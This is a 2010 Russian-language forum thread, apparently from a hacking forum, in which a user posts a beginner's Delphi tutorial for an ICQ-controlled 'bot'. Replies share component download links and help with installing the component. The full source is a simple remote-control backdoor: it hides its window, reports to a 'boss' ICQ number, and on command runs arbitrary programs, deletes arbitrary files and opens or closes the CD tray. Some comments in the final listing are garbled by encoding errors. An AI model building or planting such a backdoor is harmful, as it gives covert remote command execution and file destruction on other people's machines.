Пишем ICQ-CONTROOLLL

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by t3zo, 27 Feb 2010.

  1. t3zo

    t3zo Member

    Joined:
    18 Feb 2010
    Messages:
    51
    Likes Received:
    14
    Reputations:
    5
    Решил напечатать мини статью по написании контроля сервера, с помощью асеки!!!
    Начнем!!!
    Я буду использовать delphi!
    Поехали!!!Открываем новый проект, на форму кидаем 3-TEdit, 2-Tbutton, 1-TicqClient
    В uses дописываем shellapi, и делаем процедуру клика буттонов!Получается как-то так:
    Code:
    unit Unit1;
    
    interface
    
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, ICQClient, StdCtrls;
    
    type
      TForm1 = class(TForm)
        Edit1: TEdit;
        Edit2: TEdit;
        Edit3: TEdit;
        Button1: TButton;
        Button2: TButton;
        ICQClient1: TICQClient;
        procedure Button1Click(Sender: TObject);
        procedure Button2Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    Смысл в контроле?Чтоб посылать боту определенные слова, и он их выполнял!
    Давайте напишем, что будет делать программа, при нажатии буттон 1!
    Но перед этим, объявите глобальную переменную boss integer!
    Code:
    implementation
    
    {$R *.dfm}
    var boss:integer; //Глобальная переменная
    procedure TForm1.Button1Click(Sender: TObject);
    begin
     IcqClient1.UIN := strtoint(Edit1.text);   //Из первого едита берем уин бота
     IcqClient1.Password := Edit2.Text;  //Из второго едита берем пасс от бота
     boss := strtoint(Edit3.Text); //Заполняем переменную босс главным уином их едит3
     IcqClient1.Login();     //коннектимся....
    end;
    Так теперь, надо чтоб как-то нас бот оповестил что он онлайн!!!Для этого нажмите по объекту IcqClient на форме, и в Object inspector перейдите во вкладку Events!Там есть процедура
    OnLogin, нажмите пару раз!!У вас должно получится так, в сурсе
    Code:
    procedure TForm1.ICQClient1Login(Sender: TObject);
    begin
    
    end;
    
    Пропишим-ка, чтоб он нам отправил - IcqClient1.SendMessage(boss,'Bot is online');
    Прекрасно...Теперь если будет коннект, то нам пришлют сообщ:)
    Code:
    procedure TForm1.ICQClient1Login(Sender: TObject);
    begin
    IcqClient1.SendMessage(boss,'Bot is online');//отправим боссу то что бот онлайн!
    end;
    
    Так теперь пропишем процедуру button2click, я предлагаю сделать программу
    хайд! application.ShowMainForm := false;
    Code:
    procedure TForm1.Button2Click(Sender: TObject);
    begin
     application.ShowMainForm := false;//скроемся!
    end;
    
    Теперь самое главное, управление ботом!!!о5 нажмите на объект icqClient на форме, и перейдите во вкладку events, там есть процедура OnMessageRecv, нажмите пару раз!!
    Должно у вас в сурсе выглядеть так -
    Code:
    
    procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
    begin
    
    end;
    
    Объявим переменную cmd строковой!var cmd:string;
    Теперь давайте составим комманды!!
    Code:
    *help - help
    *start - Это у нас будет стартовать проги
    *deletefile - это у нас будет удалять проги
    *Cd_open - открывает смдюк //для этого добавьте в uses MMSystem;
    *Cd_close - закрывает сидюк
    
    Давайте пропишем!!!
    Значит план, привоить cmd комманды, и ставить условия!Давайте пропишем первую смд!
    Code:
    cmd := msg;
    if cmd='*help' then IcqClient1.SendMessage(boss,'Bot v1.0 by ñòàòüÿ t3zo'+#13#10+
                                                     '*help - help'+#13#10+
                                                     '*start -  Это у нас будет стартовать проги'+#13#10+
                                                     '*deletefile -это у нас будет удалять проги'+#13#10+
                                                     '*Cd_open - открывает смдюк '+#13#10+
                                                     '*Cd_close - закрывает сидюк');
    
    Я думаю уже все поняли как строить запросы)Давайте по порядку!!!!
    Начнем со *start! Вот тут я думаю будет интересно!!
    Нам надо понять что это *start и какая-то прога!!Помнится есть copy() :)
    Code:
    if copy(cmd,1,pos(' ',cmd)-1) = '*start'
    Теперь давайте пропишем что должен делать!!
    Code:
      
    WinExec(Pchar(Copy(cmd,pos(' ',cmd)+1,length(cmd))),SW_SHOWNormal);//ОТкрываем прогу после пробела и до конца строки!
      IcqClient1.SendMessage(boss,cmd+' done');//Отправляем что гуд
    
    Теперь давайте *Deletefile принцип как и у *start
    Code:
     if  copy(cmd,1,pos(' ',cmd)-1) = '*deletefile' then//Определяем смд
     begin
      deletefile(Copy(cmd,pos(' ',cmd)+1,length(cmd)));// удаляем фаил !
      IcqClient1.SendMessage(boss,cmd+' done');//отправляем что гуд!
     end;
    
    Так у нас уже 3 комманды:)*help *start *deletefile
    Давайте уже пропишем чтоб закрывал сидюк и открывал....
    Тут все просто просто если cmd = '*Cd_open' то открыть сидюк!
    Code:
     if cmd='*Cd_open' then 
     begin
       mciSendString('Set cdaudio door open wait', nil, 0, handle);//открываем
       IcqClient1.SendMessage(boss,cmd+' done');
     end;
    
     if cmd='*Cd_close' then
     begin
       mciSendString('Set cdaudio door closed wait', nil, 0, handle);//Закрываем
       IcqClient1.SendMessage(boss,cmd+' done');
     end;
    
    Впринципе все смд, и весь бот, можно напписать кучу комманд- фантазия...

    Вот весь код!
    Code:
    unit Unit1;
    
    interface
    
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, ICQClient, StdCtrls, MMSystem;
    
    type
      TForm1 = class(TForm)
        Edit1: TEdit;
        Edit2: TEdit;
        Edit3: TEdit;
        Button1: TButton;
        Button2: TButton;
        ICQClient1: TICQClient;
        procedure Button1Click(Sender: TObject);
        procedure Button2Click(Sender: TObject);
        procedure ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
        procedure ICQClient1Login(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    
    var
      Form1: TForm1;
    
    implementation
    
    {$R *.dfm}
    var boss:integer; //Ãëîáàëüíàÿ ïåðåìåííàÿ
    procedure TForm1.Button1Click(Sender: TObject);
    begin
     IcqClient1.UIN := strtoint(Edit1.text);   //Èç ïåðâîãî åäèòà áåðåì óèí áîòà
     IcqClient1.Password := Edit2.Text;  //Èç âòîðîãî åäèòà áåðåì ïàññ îò áîòà
     boss := strtoint(Edit3.Text); //Çàïîëíÿåì ïåðåìåííóþ áîññ ãëàâíûì óèíîì èõ åäèò3
     IcqClient1.Login();     //êîííåêòèìñÿ....
    end;
    
    procedure TForm1.Button2Click(Sender: TObject);
    begin
     application.ShowMainForm := false;
    end;
    
    procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
    var cmd:string;
    begin
     cmd := msg;
    if cmd='*help' then IcqClient1.SendMessage(boss,'Bot v1.0 by ñòàòüÿ t3zo'+#13#10+
                                                     '*help - help'+#13#10+
                                                     '*start - Ýòî ó íàñ áóäåò ñòàðòîâàòü ïðîãè '+#13#10+
                                                     '*deletefile - ýòî ó íàñ áóäåò óäàëÿòü ïðîãè'+#13#10+
                                                     '*Cd_open - îòêðûâàåò ñìäþê //äëÿ ýòîãî äîáàâüòå â uses MMSystem;'+#13#10+
                                                     '*Cd_close - çàêðûâàåò ñèäþê');
     if copy(cmd,1,pos(' ',cmd)-1) = '*start' then
     begin
      WinExec(Pchar(Copy(cmd,pos(' ',cmd)+1,length(cmd))),SW_SHOWNormal);
      IcqClient1.SendMessage(boss,cmd+' done');
      end;
    
     if  copy(cmd,1,pos(' ',cmd)-1) = '*deletefile' then
     begin
      deletefile(Copy(cmd,pos(' ',cmd)+1,length(cmd)));
      IcqClient1.SendMessage(boss,cmd+' done');
     end;
    
     if cmd='*Cd_open' then
     begin
       mciSendString('Set cdaudio door open wait', nil, 0, handle);
       IcqClient1.SendMessage(boss,cmd+' done');
     end;
    
     if cmd='*Cd_close' then
     begin
       mciSendString('Set cdaudio door closed wait', nil, 0, handle);
       IcqClient1.SendMessage(boss,cmd+' done');
     end;
    end;
    
    procedure TForm1.ICQClient1Login(Sender: TObject);
    begin
     IcqClient1.SendMessage(boss,'Bot is online');
    end;
    
    end.
    
    
    (с)opyright by t3zo
    P.S. Писал 2часа статью, надеюсь вы по достоинству оцените!!!Ваш t3zo...

    Статья для новичков...
     
    1 person likes this.
  2. t3zo

    t3zo Member

    Joined:
    18 Feb 2010
    Messages:
    51
    Likes Received:
    14
    Reputations:
    5
    ICQCLIENT

    http://slil.ru/28633239
     
    1 person likes this.
  3. Vlad3d

    Vlad3d Elder - Старейшина

    Joined:
    18 Jan 2008
    Messages:
    47
    Likes Received:
    54
    Reputations:
    -1
    перезалей
     
  4. t3zo

    t3zo Member

    Joined:
    18 Feb 2010
    Messages:
    51
    Likes Received:
    14
    Reputations:
    5
    http://slil.ru/28715580
     
    1 person likes this.
  5. Vlad3d

    Vlad3d Elder - Старейшина

    Joined:
    18 Jan 2008
    Messages:
    47
    Likes Received:
    54
    Reputations:
    -1
    не много не по теме...
    Не могу поставить компонент...точнее поставил его но вкладка IcqClients не появилась...

    Ставил раньше компонент было все норм(потом переустановил делфи).
    Пробовал удалять и ставить компонент заного, не помогло. Хотя видно что копмонент стоит.

    -----------------------------
    добавлено через 10 сек


    нашел компанент в samples без значка :D
     
  6. t3zo

    t3zo Member

    Joined:
    18 Feb 2010
    Messages:
    51
    Likes Received:
    14
    Reputations:
    5
    Он во вкладке samples